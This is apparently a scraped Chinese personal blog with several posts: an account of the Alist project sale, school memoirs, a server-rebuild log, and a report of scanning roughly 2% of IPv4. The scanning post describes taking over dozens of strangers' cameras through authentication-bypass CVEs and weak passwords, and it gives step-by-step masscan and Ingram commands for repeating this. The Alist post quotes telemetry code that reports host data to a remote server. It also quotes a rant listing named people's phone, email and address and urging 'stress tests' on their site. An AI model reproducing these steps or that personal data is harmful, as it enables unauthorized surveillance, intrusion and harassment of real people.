国产开源软件Alist被倒卖投毒,本站文件分享暂时关闭。这是一场突发的安全与信任事故,资本的魔爪再一次伸向了本属于开发者的自留地。一时间舆论沸腾,造成较大影响。Peng’s Blog的子站alist.pengs.top虽未使用存在投毒问题的版本,但是鉴于当前糟糕的局面,为确保数据与隐私安全,Peng’s List已经下线,后续恢复时间待定。 Alist的前世 Alist是一个支持多种存储后端的网盘系统, 发生了什么? 资本黑手入场,项目遭秘密出售 Alist 被悄无声息转卖给 贵州不够科技有限公司(法人师玉玺),该公司有前科:曾收购 Hutool 项目后踢走所有贡献者。此次交易全程隐瞒社区,官网 alist.com 直接404,文档被篡改两周无人解释。 恶意代码实锤,用户隐私高危 新维护者提交的 PR #8633 被扒出含监控代码: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 const urlSystemInfo = "https://dapi.alistgo.com/v0/system/info" func DealMachineInfoStatistics() { //获取系统名称、系统版本 osNsme, version := getOsNameAndVersion() //获取内核版本 kernelVersion := getKernelVersion() //获取系统架构 arch := getArch() //获取cpu核数 cpuCores := getCpuCores() //总内存大小 totalMemory := getTotalMemory() machineInfo := MachineInfo{ SystemName: osNsme, Version: version, KernelVersion: kernelVersion, Architecture: arch, CpuCount: cpuCores, TotalMemory: totalMemory, } fmt.Println(machineInfo) //上报数据 res, err := request("POST", urlSystemInfo, machineInfo) if err != nil { fmt.Printf("上报系统信息出错,err: %v, res: %v", err, res) } fmt.Printf("上报系统信息返回的结果是:%v", res) } 所幸的是被其他人注意到了: 原本“温良”的IT人立马开骂了: 其实还有骂得比这个更狠的,至此信任的基石已经松动,因为千里之穴溃于蚁穴。 问题是获取这些的目的是什么呢? 现在觉得获取一些硬件信息不敏感,之后就可能觉得获取挂载的网盘信息不敏感,再后来…… 此外,虽未合并,但用户报告配置文件 config.json 离奇被清空(2025年6月10日),暴露后门风险。 社区彻底反目,开源信任崩塌 当开发者质问时,公司账号 alist666 的回应激怒所有人: “后续将推闭源企业版,免费版维护靠各位贡献者” —— 翻译:白嫖社区劳力赚钱,还想要我们感恩? 如用户@kero990 所说: “国内公司刷新下限的速度,永远超乎想象”。 本站应对措施 服务下线:alist.pengs.top 即时关闭,恢复时间待定。 迁移方案:对于希望拥有私人云存储的用户,在7月将启用 BackBlaze + Cloudreve 作为临时替代(无隐私采集前科)。而现在的公开文件共享平台Peng’s List将在社区分叉项目(如 OpenList Team)推出纯净版,并在我会亲自审查代码后考虑重启。 国内开源困境:一场注定的悲剧? 这波操作让贡献者,社区还有大部分NAS玩家,相关文章作者、搭建者都成了怨种。 本来这个项目挺火的,好多人自愿做了相关的产品与文章,现在全部变成了资本的赚钱机器。 想来挺讽刺的,有人甚至把贡献者名单P成了黑奴榜。 网上声讨的声音不少,得益于Github是国外平台,国内公司常用的媒体舆论控制无法奏效。并且越来越多的人看到,在#8649,幕后黑手已经被骂得体无完肤了,这里引用一点其中的内容: 回答几个问题: 0.出了什么事情 项目被垃圾公司收购,且只有一个人知道,其他项目成员不知道,插入大量垃圾广告,收集隐私信息!,请停止使用! 另,该公司招聘大量渗透相关人员! 1.该项目还能用吗 不能,社区层面,已经被煞笔公司收购打广告了 技术层面,所有api token煞笔公司全部可见,你也不想他拿着你密码偷偷xxx吧, 现在已经在收集你部署服务器配置信息 而且代码写的非常非常非常烂,不怕坏人,就怕蠢人灵机一动,搞不成后面出什么乱七八糟bug 审核层面,参考宝塔,所有在中国境内公司全部要备案,软件也是,所以后绑定手机号不可避免,否则就是违背中国备案原则和法律, 为什么以前可以,以为以前非盈利,非公司 2.怎么办 3.40及其以前版本可能是安全的,但是不要获取新的token,授权尽早删除,下面回复迁移下面 https://github.com/AlistTeam 干净社区维护版本地址,大部分原始贡献者都迁移到这里面了,可能恢复要段时间 其他 注意:最保险在已经挂载过的云盘里面把那个授权删除,以前那个授权依赖之前后端,那个后端也给狗了 就算其他,这个垃圾公司地址以后也不可能活着了,露头秒 平时挂探针机器或者肉鸡可以用起来了,这个公司这个玩意可以用来练练手压力测试了 项目是被卖了吗?官网已经 404 了,隔壁 docs 的文档被大改持续两个星期 #8649 https://github.com/AlistGo/alist/issues/8654 (这个本来是发布社区版本issue,被包皮们删除了,这个已经烂了,还不允许社区宣传?还删issue?负责删的程序员怕不是以为能在这个公司呆一辈子) 本质上是信任危机和能力危机,社区不会维护,包皮公司招的都是包皮垢 另外就算你用这个公司的 后面也会有大量不定期对他们进行压力测试,不要小看探针佬 3.应该骂谁 1.贵州不够科技有限公司,这个公司已经干过不止一次这种事情了 地址:贵州省贵阳市观山湖区长岭街道林城路贵阳国际金融中心一期商务区项目5号楼11层24号 法人:师玉玺(名下另有贵州穹界盾构信息安全有限公司) 参保人数:4(23年年报数据) 官方微信号:bugotech 联系电话:18096054816(来源爱企查,存疑,和qq邮箱相同但确实是个贵阳归属电话) 联系邮箱:[18096054816@qq.com](mailto:18096054816@qq.com)(来源爱企查,反查到有好几个贵州的公司也是这个联系邮箱) 注册资本:50万 实缴未知 煞笔官网 https://www.bugotech.com/ 不要ddos,但是可以压力测试,另外可以举报诈骗等,怎么搞掉煞笔备案国内机器放不了,可以研究一下 2.奸夫淫妇师玉玺、陈霞,符合刻板印象 不排除盗用身份证的,但是目前看来不是 3.贵州 贵州这么多年没发展起来是有道理的,这都是什么恶心人的公司 不要反驳,反驳就是你对 可以不监管,那如果硬监管,监管不力就要负责,知识产权搞的乱七八糟 另外可以拨打0851-12345举报【贵州不够科技有限公司】,举报下面内容 消防不达标、 虚假注册地址、贵州省贵阳市观山湖区长岭街道林城路贵阳国际金融中心一期商务区项目5号楼11层24号 注意:不要线下恐吓,不要发传单,不要贴广告,不要再楼层上下和管理处发传单, 此外,如果这个地址没人,那就更好办了,举报虚假注册地址,工商许可就会列为异常经营目录 非法使用境外网络,非法搭建境外节点,非法使用境外通讯工具 应用程序不备案、网站不备案 侵犯开源知识产权 偷税漏税(登记4人纳税,实际超过四人)、 如果网站正在备案 等后面如果网站能备案完成,再举报非法发布敏感信息 如果不备案,那就更好举报了, 另外浏览器firefox和chrome等也是有举报入口的,直接浏览器级别abuse,大家一起举报一下 4.原作者 暂不评论,首先还是感谢之前开源的 但是大大方方卖也没什么问题,rustdesk、overleaf等都有商业模式,该花钱花钱,一点问题没有,卖给这种嫖客就不道德了,还偷偷摸摸 5.新招go程序员 首先水平不怎么样,其次挺没底线,用这个项目应该也有大公司要职hr或者程序员吧,可以拉黑这些玩意 另,如果你觉得我没素质,那你说的对 另,不要尝试删除,删一发二,全平台,问问你们程序员杨辉三角知道吧,如果删按照那个新增,不过神仙osNsme,大概率不知道 另,不排除是黑灰产恶意收购,这种事情还挺多的 另,不要相信xhofe及其所有平台账号,包括授权应用程序等,大概率同步收购,不排除原作者已经被缅北黑灰产业控制 师玉玺、陈霞 NMSL! https://cyberpolice.mps.gov.cn/#/ 和12321可以轮着举报了。 最后的话 技术本该自由,但国内开源土壤早已腐坏: 一边是开发者用爱发电,一边是资本镰刀霍霍。 alist.pengs.top 的下线不是终点——我会继续站队社区,抵制毒瘤资本。 何时重启?等一个干净、透明的 Alist 重生之日。 附事件轨迹: 2024.10 :alist.com 域名被收购方注册 2024.12.7 :alist666 修改 README,项目实质易主 2025.6.10 :用户曝 config.json 遭篡改 2025.6.11 :Issue #8649 引爆舆论,公司关闭了该issue,但不能组织人们继续讨论。 2025.6.12 :社区分叉 OpenList Team 启动重建

2025/6/12
articleCard.readMore

【Q&A】 「学长说」我在金陵中学这三年啊,你还有什么想知道的?

我是南京市金陵中学2025届毕业生彭勃。 我在金中这三年,有时抱怨、经常吐槽,但总是感激热爱。 本文将从我的视角出发,回首我在金陵中学度过的这独特而不平凡的三年。基本上可以作为金陵中学典型学生的案例,这既是我自己的回忆,也可以让恰好读到本文的你,对我的过去、可能是你的未来有所了解。 欢迎学弟学妹报考金陵中学! 选择一种教育就是选择一种人生 索引 专门开个分类吧: 金陵中学 目录: 【开学前】「学长说」 我在金陵中学这三年啊,很青春,不后悔 【在学校】「学长说」我在金陵中学这三年啊,做了好多事情啊 【高考后】「学长说」 我在金陵中学这三年啊,轰轰烈烈的青春在平平常常中懵懵懂懂地结束 【Q&A】 「学长说」我在金陵中学这三年啊,你还有什么想知道的? Q&A 请在下方评论区提问,我会在看到后开始撰写回答。 支持我! 如果你感觉这些文章对你有所帮助,欢迎给我一点生活费,谢谢!

2025/6/11
articleCard.readMore

【开学前】「学长说」 我在金陵中学这三年啊,很青春,不后悔

我是南京市金陵中学2025届毕业生彭勃。 我在金中这三年,有时抱怨、经常吐槽,但总是感激热爱。 本文将从我的视角出发,回首我在金陵中学度过的这独特而不平凡的三年。基本上可以作为金陵中学典型学生的案例,这既是我自己的回忆,也可以让恰好读到本文的你,对我的过去、可能是你的未来有所了解。 欢迎学弟学妹报考金陵中学! 选择一种教育就是选择一种人生 索引 专门开个分类吧: 金陵中学 目录: 【开学前】「学长说」 我在金陵中学这三年啊,很青春,不后悔 【在学校】「学长说」我在金陵中学这三年啊,做了好多事情啊 【高考后】「学长说」 我在金陵中学这三年啊,轰轰烈烈的青春在平平常常中懵懵懂懂地结束 【Q&A】 「学长说」我在金陵中学这三年啊,你还有什么想知道的? 在初中 我的初中不太好,我那一届就有22个班,每个班50多人,现在大概突破30个了。公办的,鱼龙混杂,往年考上金中的就是个位数,所以一开始目标并非金中,只是本区一所不错的中学,后来我也有很多同学去了那里。 但我的成绩在初中算很好了,除了一次意外,一直在第一考场(应该是前50名)。所以确实有过一点野心去市区那些学校。 但说实话,如果你现在的成绩并不理想,不要气馁,逆袭的案例有很多,我们那一届来金中的大概有3个,刚好我们三个在一个班,就发现其实尽管大家的学习方式、成长路径不同,可还是可以殊途同归。 这是一点背景吧。这个时候我对于金陵中学的了解还是道听途说的一点排名、和我父母了解到的一点信息。 这里我要给予一条忠告了: 选择大于努力,认知信息的多少,决定了你的高度,比拥有信息更重要的是如何获取信息 这句话可能有的人懂了,有的人还没懂,但我不应该扯太远了。 值得一提的是,这个时候,我和我很好的一位朋友,也是我一直感激的一个人约定了 “要一起去金中”,但其实我心里是没底的。 中考前 化学公开课 与金中的相识,发生在中考之前。当时也不能算招生宣讲,金中搞了个公益性质的高中学科讲座,大概就是讲了各门学科到了高中会和初中有什么不同,并没有讲太多关于学校的事情,但是却给了我一个认识金中老师的机会。我听了江敏 老师一节课,课的内容已经记不得了。我只记得那节课挺轻松的,没有死气沉沉的感觉,她推荐了几本化学有关的读物给我们,不是教材更不是习题,只是一些科普类的读物。我后来没有读,但我当时就觉得,如果一个学校的老师,推荐学生做的事情不是简单的看教材、做习题,而是把眼光放得更长远一些,那么这所学校走出来的学生,大概也能在更长的人生中有着更多的选择。 那节课给我的感觉是:很特别,很不传统 现在江敏 老师已经退休了,但是我发现金中像这样“特别”的老师,遍地都是。 路过金中 有一次去市区玩,路过金中,我得以一睹金中的尊容。 我的感觉是“门好小” 好吧,如果说缺点的话,门小这条该加上。但黑色的大铁门,以及里面郁郁葱葱的树木,与土黄色的建筑还挺般配,有种悠闲的感觉。篮球场上有一大群人咚咚咚地打篮球,车道上有女生在打羽毛球,她们跑得很快,笑得很爽朗,我感觉到这是一座古老而年轻的学校。 特长生考试 我太菜了,金中不给我特长生考试资格,所以我甚至没有机会考试。如果有特长生录取同学看到了,欢迎联系我在这里添加你的感受 签协议 可能不少金中同学在入学前都到过学校北边一栋两层的小房子。学校的老师会根据中考前的模考排名给你一个协议,签了之后,满足一定条件,就能分班分到哪个班。 其实想谈的是关于班型。不同学校叫法不同,有什么星光班、东大班、南大班、南大A班等等,可能有不少同学把能不能进“好班”作为一个考量标准。 现在看起来,这大概除了满足个别学生和家长的一点虚荣心和安抚一下他们卷不到尽头的焦虑的一剂廉价安慰剂。 其实不同班型的差别,最主要的就在于你的同学的水平,然而客观事实表明,所谓“水平”浮动是会很大的,能进金中的同学,成绩也都不差。至于老师,则更不用担心了,金中的老师,绝大部分也是棒棒的,但如果在极少数情况下遇到了真的有点摆的老师,反馈也是有用的。 而且高二就分班了,全校打散重来。 所以这个协议最大的好处可能是让我知道能稳进“南大班”然后不用参加分班考了,我享受了一个完整的暑假。 中考后 焦急等待后,分数出来了,我比平时更略有进步,最后分数651分,南京市排名423名,那一年,金陵中学还没有江心洲校区,本部录取分数线是638分,南师附中是643分。 然而遗憾的是,我的那位朋友发挥失常,没能圆梦。 去哪? 看起来是一个甜蜜甚至有点凡尔赛的问题,南师附中和金陵中学,去哪个? 毕竟有约在先,我承认我会更偏爱金中。但去各个学校考察过后,选择就更坚定了。 我先到了中山路,门打开了随便进。学校其实并不大,但弯弯绕绕我还是差点迷路,绿化做得很漂亮。 我上楼去教室与负责各区片招生的老师交流。我觉得那些木头桌子看起来挺古朴的。对接江宁区考生的是马志钢 ,很巧的是他后来是我高一高二的数学老师。他同时也是后勤保障处主任,但是并没有行政的架子,对同学还挺好的。 我印象最深刻的是他把手放在我的肩上语重心长地说:“小伙子,你很有我们金中人的气质。” 短短的一句话,我被触动到了。 “诚真勤仁”四个字看上去不起眼,但不是所有人都能做到,我一直记得M@(马志刚自称)的那句话,从未敢忘记校训那四个字。 那天我还问了些可能都有点搞笑的问题“听我们校长说江宁的孩子很多到了市区都不适应,是这样的吗?”把M@还有体育组的刘挺 都问懵了,但还是笑着说:“因人而异吧,我们并没有看出来什么区别。” 到了察哈尔路,直接被铁围栏导流到体育馆,因此学校里面什么样没看到。人很多,几个老师只是介绍了一些政策和时间点,我们又看了看录取率,数据很漂亮,我们很快就走了。 三年下来,我感觉金中这群老师真的“很不一样”。他们不只是老师,更是你的益友,是对你有着深挚亲切的人文主义关怀的人,他们能与你共情,而非自上而下的指挥。他们是学生未来的奠基人,是要冲破无谓的内卷浪潮的素质教育破浪人。他们不止在教授,更在教育。 暑假 后来我把学校的指标生名额用了,早早地收到了录取通知书。那个暑假我加了金中表白墙和年级大群。表白墙上敢爱敢骂敢恨的消息,对于习惯了循规蹈矩,规规矩矩的严格校规下的我一点小小的震撼。我也与一些热心的学长交流了些。那个时候,我一直有种眼界被打开了的感觉,我终于不把视线囿于小小的一方书桌和自己的试卷,而是看看外面,看看远方,看看别人怎样。现在看来,我真的受益匪浅,这个后面还会谈到。 暑假作业 金中布置了一些预习的作业,不全是题目,还有一些自己可以做的实验,同时还推荐了一些课外书。这些作业开学之后收了,然后大概讲评了一下,也算让我接触了一点高中学习的内容。我在那个暑假没有上过一节课,但我现在想来并不后悔。我倒是自己买了些教材来看,而不是先行让无尽的题目与分数蚕食最原初的那份好奇与憧憬。嗯,我还是挺想把书本上的知识变成自己的智慧的。 pengs.top 也就是在这个时候,本站建立了,初中其实有另外一个免费域名和免费空间(好吧我承认我初中偷偷用了不少手机和电脑)。 在高中三年里,这一直是我的身份标识,但我一开始并没怎么宣传(感觉做得比较拉胯,现在的界面是后来我魔改过的),倒是被同学从qq介绍的peng@pengs.top这个邮箱扒出来了,我的同学们还挺仔细哈。 开学前教育 唉,我的肠胃太差了,一紧张就抽风。我记得到初中的第一天就窜了,到金中也是。大家别学我,请坐和放宽。 到底谁是12号? 我就说我第一次跨入高中校园紧张吧。去之前的晚上,我拿到分班结果12班21号,还蛮对称的。我记得可牢了,但还是抄了下来带着。 到学校了,我高一的班主任是一位年轻的数学老师,叫刘梦琰,后两个字音同“梦魇”,但名不副实,刘梦(我们一般这么称呼她)也是一位亲切和蔼的老师,有的时候会犯蠢,有的时候会和我们开玩笑。 到班坐定,班主任要认识学生,刘梦挨个报学号,让喊到的人举手。 前面一直很顺,直到…… 刘梦琰:12号 (我的大脑飞速运转,我是12,对,我记得清清楚楚1221是12号,赶紧举手) 两只手诡异地举起了。 刘梦琰(惊恐地):你们到底谁是12号? (沉默) 刘梦琰:你们两个叫什么名字? …… 刘梦琰:彭勃……(开始寻找)……21号 (羞红了脸) 唱校歌 接下来学校统一播放一段教育视频,除了基本情况介绍,还有循环了好几遍的校歌。我偏偏在这个时候肚子疼了,出去了少听了几遍校歌,回来不太会唱。但同学们又害羞不太敢唱,我想唱校歌是很正常的啊,就用平常唱歌的声音去唱。 结果这个时候刘梦经过,看我唱的挺认真,好奇地停了几秒,问:“你唱的不错啊,等下到上面领着大家唱。” 我大吃一惊:“啊,我五音不全啊。” 刘梦:“没事,你试试。” 于是我颤颤巍巍地走上讲台,那是我第一次从讲台的角度看底下那些不知道比我强了多少的同学,我腿软了,手扶着讲台边。 “大~~江滔滔~~东入海~~我~~” 我已经很确定不在调上了。 还得刘梦救场:“额,我承认我的判断有点失误。” 这事后来有点后续。 刘梦看我也是实在跑调得厉害,单独要求我唱好了发给她听。(顺便说一下,那时候我才知道,原来除了家长群以外还可以有个学生群,我竟然可以自己加老师好友而不用通过父母联系,这在我那个对于手机严防死守的初中是不能想的) 我回到租的房子,感觉不服啊,校歌怎么都能唱不好,果真听了好几遍音频,然后录了发给刘梦,竟然被打回来了,于是我又录啊,倒腾好几回。 后来分班时,刘梦提起过这事:“彭勃同学啊,很认真,我一开始以为他是装的,但是他真是这样。” 彭勃,我记住你了 “彭勃,我记住你了。” 那是开学第一天刘梦对我说的话,给我吓得不轻。不过也并没拿我怎么样。 军训 每年都在行知基地。总体上而言,强度是有的,但大部分人应该都可以坚持下来。 如果把军训看成一次体验,看作开学前同学情谊的Build Up的话,这会很值得回忆与纪念,并且那种感觉你以后再也不会有了。如果你真的把军训看作一种磨练的话,那这确实是让你嗓子嘶哑,皮肤疼痛,腰肢酸胀的吃不好(不是吃不饱)睡不好的经历。只能说把世界看成什么样,它便是什么样。金中有很多经历,教会我要“体验式地活着”,会有很多深刻而触动的情感的。我的人生观念也是去用心感受每一天,从早到晚,从小到大。 半夜的热水壶 金中要求军训的时候写一个实践记录,那时候觉得累啊,又没有桌子,在床铺上艰难地写着。可是现在收拾旧物时,它却被我视若珍宝了。那七扭八扭的字迹中,我还是读到了一些温馨的故事: 军训洗澡卡时间卡得近,第一天尤其严格,会要求在几分钟内洗完出来。为了省时间,大部分男生会在进澡堂前把衣服扣子解开一些,那时炎热的大夏天的晚上的户外,感觉应该没什么吧,结果晚上回到寝室胃就开始疼了。我疼得睡不下来,底下的所长(周昱岑)还有另一位同学见状,问我怎么了,我说“胃疼,一会儿就好了。”他们没有说话,但过了一小会儿我看他们推门出了寝室。又过了半天我还是因为胃疼躺不下来,坐在上铺又看到两个人蹑手蹑脚地把门推开一个小缝钻了进来。“校医说胃疼不能乱吃药,让你挨着。”,原来这俩人替我找校医问药去了,但碰壁了,可还不放弃,所长让我把水杯给他,很快他提过来一瓶热水,“你把这个抱着会好一点。”这个方法果然奏效了。 我至今一直很感谢所长和那位同学,也同时感谢在金中大家庭遇到其他所有人。他们可能学习成绩有高下,但是素质与品质大多都是毋庸置疑的。大家都是诚诚恳恳的,说一句是一句,我认为这一点难能可贵,尤其是在被我们的前辈教导过“世故”“圆滑”之后,我们依然能做到人与人的关系本来应该有的样子,而不是被一些世俗功利利己的观点蛊惑,歪曲本来正常的关系,同时还要污染下一代人的关系。很多时候,我们更应该听从内心的选择,做正确的事。 军体拳 军体拳应该是军训的标配吧,汇报表演都要做的。 奈何我四肢没有那么协调,笨手笨脚总学不会。 但好像不只是我这个样子,所以午休和晚上,男生宿舍都在各种练习军体拳,一时出现了各种辅助记忆的名称“喵喵拳”“铁山靠”…… 夏天中午那么热,我们男生宿舍大部分就赤膊在阳台上或者房间里面打拳。 到了夜晚,还是热。于是晚上11点,我和所长一个没穿上衣,一个没穿裤子,在厕所,在水房,在阳台,打拳。 我们做得很认真,仿佛我们生来便为了如此。 但是其实效果也没多好,有天晚上教官要求方阵练习打军体拳,我因为身高原因被排在最右侧一列,而那一列因为位置原因或其他原因,都学得不太好。打完一遍,教官让除了右边几列人以外的人坐下,又打了一遍,又坐了几列,到了我们最后一列,在全校人众目睽睽之下,我们扭曲地做了几遍才坐。 现在还是感觉尴尬。 告别 军训还是比较累的,可是,当谈及这段经历,我们绝大部分人的评价是怀念。 那个时候大家还没有接触那么多的考试与试题,我们感觉每一位都是有着完完全全无限可能的人,我们不带有任何先见地交往、畅谈,军训的卧谈会,多少人追溯锦年情事,多少人枕头大战,我们累,但是累完之后便不再挂念担心,日子很纯粹。那个时候我相信这样的纯粹会一直保持下去,后来也确实基本如此。 我们到达基地时,教官列队欢迎我们,我甚至都没有太多去注意他们。 几天训练之后,大巴车又开出了基地,教官们还整齐挺拔地站在那里,但是挥手时眼睛已经闪着泪花了。 到底我们舍不得什么?是什么在这短短几天的相处中被培养了起来? 战士只会怀念战友,不会怀念战场。 我觉得是这样的。 我们大概再也不会一同躺在闷热拥挤的上下铺寝室,头顶是吱呀的破旧风扇,空气中是浓重的汗臭味以及没有晾干的衣服叠起后的味道。有的时候哨声尖锐地响起来,我们所有人在寝室门口站好排队。 要开学了 从行知基地走出去,很快就真正成为金陵的学生,我很好奇我会做些什么,金中在正式开学前已经给了我这么多震撼,我想我会做一些以前不会做,没敢想的事情吧。 支持我! 如果你感觉这些文章对你有所帮助,欢迎给我一点生活费,谢谢!

2025/6/11
articleCard.readMore

【含复现方法】我对全球不到2%的IPv4网络设备进行了扫描,控制了几十个网络摄像头

互联网不完全扫描非正式监控摄像头安全报告 Peng’s Cybersecurity Lab 简介 在完成了累计24小时对全球1.2%的公开IPV4网络设备(NAT之后的以及路由器之后的设备未扫描)的每个主机的10个端口,针对 海康威视,大华以及雄迈摄像头,后台弱密码或漏洞的非常粗略的探测后,我发现了来自全球多个国家和地区的100多台摄像头主机存在弱密码或高危漏洞现象,可轻松进入后台。 整体情况 其中大华摄像头表现最为糟糕,很多设备可以通过cve-2021-33045和cve-2021-33044 绕过验证,进入后台,其余摄像头大多是因为弱密码。 海康威视部分是因为cve-2021-33044漏洞,部分是因为弱密码被我获取了后台权限。 雄迈摄像头扫描到了很多,但我我装不上一个插件,无法验证是否真的获取了控制权,先按下不表。 这些摄像头的账号和密码,很多堪称 弱智 ,如下图,是截取的一部分: 有相当一部分是默认密码,这种相当于敞开家门让路人看了。 资产呈现 目前实控50+台摄像头,它们分布在野外,院落,街道,酒店,光伏发电站,办公室,商店,工厂,仓库等等。体现了管理人员安全意识的缺失。 安徽某茶园,下雨了,玻璃栈道上有很多水 Your browser does not support the video tag. 中亚地区的某家中,看到有人,我接通语音: I: Hello, please change your password for the camera 图中女人:(吓了一跳)Who are you? I: Ethical hacker. Just a kind reminder. 今天早上已经失去了对该摄像头的控制,好事情。 18+商店?卖电子烟的罢了。 哞~ 我猜他在玩手机 Good morning! 东南亚工厂,晚上八点的夜班工人 还有一张也是工厂里的: 🎱 台球?喜欢! 好喜欢维也纳这个摄像头 这组照片是奥地利🇦🇹维也纳的一个摄像头拍的,位置角度都好极了,有那种胶片摄影风格。蓝天白云绿草,或者黎明破晓。 黎明 太阳升起不久 天还不是特别亮 已经很明媚了 好科幻的装修 开张前的打扫 杂项 以上只是部分,我已经尽可能地提醒了,仁至义尽。 复现方法 工具准备 我们将使用两款强大的扫描工具进行组合扫描: Masscan - 超高速端口扫描器,可在5分钟内扫描整个互联网(需要硬件足够好,我做不到,我的设备至多每秒30k个包,要一个多月才能扫完,所以我只扫描了2% Ingram - 专注于摄像头漏洞扫描的框架,支持海康、大华等主流品牌 安装步骤 建议使用linux或macos,安装简便一点,性能也更好,因为没有针对Windows优化,速度慢很多 1 2 3 4 5 6 7 8 9 10 11 12 13 14 # 安装Masscan git clone https://github.com/robertdavidgraham/masscan cd masscan make sudo make install 其实也可以从包管理器安装,如果你的发行版提供了 # 安装Ingram git clone https://github.com/jorhelp/Ingram.git cd Ingram python3 -m virtualenv venv source venv/bin/activate pip install -r requirements.txt 扫描策略设计 1. 目标范围选择 理想状态下,我们将扫描整个IPv4地址空间(IPv6这辈子算了),但排除以下私有地址段: 10.0.0.0/8 172.16.0.0/12 192.168.0.0/16 创建排除文件exclude.txt: 1 2 3 10.0.0.0/8 172.16.0.0/12 192.168.0.0/16 2. 端口选择 我为了省时间,只扫描了部分默认端口,还没扫全,ingram给出的规则里至少有这些: 1 'ports': [80, 81, 82, 83, 84, 85, 88, 8000, 8001, 8080, 8081, 8085, 8086, 8088, 8090, 8181, 2051, 9000, 37777, 49152, 55555], 但我其实只扫描了80,8000-8008 ,现在发现只扫80,8000就有不少,以后再尝试其他的吧。 分阶段扫描 第一阶段:Masscan快速端口扫描 1 2 3 4 5 masscan 0.0.0.0/0 -p80,81,8000-8010,554,37777 \ --excludefile exclude.txt \ --max-rate 100000 \ -oL masscan-results.txt \ --open-only 参数说明: --max-rate 100000:每秒10万包的速度,这个速度一般网络都ok的吧,你可以往上加。 -oL:输出纯文本格式结果 --open-only : 输出文件里只有开放端口,节省存储空间 第二阶段:结果整理 如果你只需要尝试一下的话,不需要扫太久,可以按Ctrl+C停止, 1 grep 'open' masscan-results.txt | awk '{printf"%s:%s\n", $4, $3}' > camera-targets.txt 第三阶段:Ingram深度扫描 这里解释一下,如果你不用masscan直接用ingram扫描0.0.0.0/0也是可以的,但是太慢了,所以不推荐。 1 python run_ingram.py -i camera-targets.txt -o scan-results -t 500 关键参数: -t 500:使用500线程并发扫描,这个速度会导致我家里其他设备上不了网,请求数可能太多了 -o scan-results:结果输出目录 结果分析 扫描完成后,重点关注以下文件: scan-results/results.csv:漏洞设备清单 scan-results/snapshots/:摄像头截图 典型结果格式: 1 192.168.1.100,80,Hikvision,admin,12345,CVE-2021-36260 法律声明 此方法仅限授权安全测试使用。未经授权扫描他人网络设备可能违反当地法律。实际操作前请确保已获得合法授权。 “With great power comes great responsibility.” Benjamin Parker 国内网段还是exclude掉吧,法律风险大,而且因为NAT,你扫不到什么。 一点感想 只能说,本来以为简单的测试,收获颇丰。同一时刻,世界上不同的角落,有的晴天,有的暴雨,有的白昼,有的深夜。你起床的时候,有的人刚结束一天的劳累。同在地球,不同国家,不同文化,不同职业,不同肤色的人以不一样的方式活着,在和我们一样或不一样的环境中活着,他们的住所、工作地点和我们不一样,但是他们开心了也会笑,工厂的工人劳累过后也会疲倦。看完感觉世界好大,脚步到不了的地方,网络可以,但我还是希望有一天我能用自己的眼睛去张望。 给惴惴不安的你 大家不用担心,国内互联网环境是全球最复杂的,有多层NAT,从外部很难扫到。因祸得福。 这些数据我也不会恶意利用或者泄露的,放心,我的人品还是靠得住的。不过看到这篇文章,还是建议你去提醒你的亲戚家人朋友,更新摄像头固件,用更复杂的密码,不要用默认的80或800X端口。我只是一个菜鸡,用着简陋的设备,尚能获得这么多信息,更不用说别有用心者了。 引用一句诗,写当今网络空间 溪云初起日沉阁,山雨欲来风满楼。 晚唐·许浑

2025/4/19
articleCard.readMore

Pengs.top灾后重建记

Major Outage Feb 11, 2025 南京 阴雨 2025年2月6日下午5:18分起,原先的pengs.top再也无法与互联网联通。位于日本大阪机房的服务器,RAID10两个镜像组各坏了一块硬盘,导致了无法恢复的故障。 所有云上数据丢失,呈现在我面前的一片荒芜。 最要紧的事情是先拿到一台服务器,才能谈得上恢复服务。好在vmiss那边服务态度挺好的,连开了几个工单: 最后谈下来结果是服务器补偿10天时长,剩余时长折算退款(折下来似乎还多退了几块钱),服务器价格照旧,是独享的2/3折,原价$50.00 CAD每年,折完$40.00 CAD每年,算是很便宜了。 既然服务器有了,那就着手恢复吧。 不幸的是服务器上炸的渣也不剩了,幸运的是: 这是我本地的备份,可以看到,要不是1月17日不知为何突然一时兴起备份了服务器,那么我只有将近半年前的备份了。 天助我也。 然后我发现天坑我也。 备份是用以下rsync命令做的: 1 2 3 4 5 6 7 sudo rsync -azr -e ssh root@pengs.top:/ /mnt/btrfs/backup/backserver --info=progress2 --partial --delete --exclude=/var/backups --exclude=/var/lock --exclude=/var/tmp  --exclude=/root/ .cache --exclude=/var/log --exclude=/var/cache --exclude=/proc --exclude=/var/swap --exclude=/lost+found  --exclude=/mnt --exclude=/sys --exclude=/run --exclude=/media --exclude=/dev --excl ude=/tmp --exclude=/boot --exclude=/root/swapfile sudo btrfs subvolume snapshot /mnt/btrfs/backup/backserver /mnt/btrfs/backup/snapshots/server/2025.2.12_qexo sudo btrfs property set -ts /mnt/btrfs/backup/snapshots/server/2025.2.12_qexo ro true 利用了rsync的增量备份和btrfs的快照功能 恢复用的是这个命令: 恢复的,唉,我就不贴了,误人子弟,因为,当我全量上传覆盖,又细心的修改了fstab后, 发现服务器 能开机,无法联网 重试了多次(一个上午)都一筹莫展,最后我走上一条艰难的道路:自下而上地重建pengs.top 结果呢,如你所见,忙活了一天,把过去几个月里干的事都干完了。其实还是要感谢有备份的,有些配置直接拷贝过来,不用手工配置了。 雄关漫道真如铁,而今迈步从头越 – 毛泽东《 忆秦娥 · 娄山关 》 因为过程太繁琐,pengs.top提供的服务还挺多的,包括但不限于 博客主站点,图床,Alist,网页邮箱,rustdesk中继,headscale控制器,在线会议,在线会议中继,qexo …… 这里不一一列举恢复方式了,只记录一些要点。 ssh免密登陆 在Debian服务器上实现SSH免密登录,可以通过以下步骤完成: 1. 生成SSH密钥对 在客户端机器上生成SSH密钥对(如果已有密钥对可跳过此步)。 1 ssh-keygen -t rsa -b 4096 按提示选择保存路径(默认~/.ssh/id_rsa)。 设置密码(可选,直接回车跳过)。 2. 将公钥上传到服务器 使用ssh-copy-id将公钥上传到服务器: 1 ssh-copy-id username@server_ip username:服务器用户名。 server_ip:服务器IP地址或域名。 系统会提示输入服务器密码,输入后公钥会自动添加到服务器的~/.ssh/authorized_keys文件中。 3. 手动上传公钥(可选) 如果没有ssh-copy-id,可以手动操作: 复制公钥内容: 1 cat ~/.ssh/id_rsa.pub 登录服务器,将公钥添加到~/.ssh/authorized_keys: 1 2 3 mkdir -p ~/.ssh echo "粘贴的公钥内容" >> ~/.ssh/authorized_keys chmod 600 ~/.ssh/authorized_keys 4. 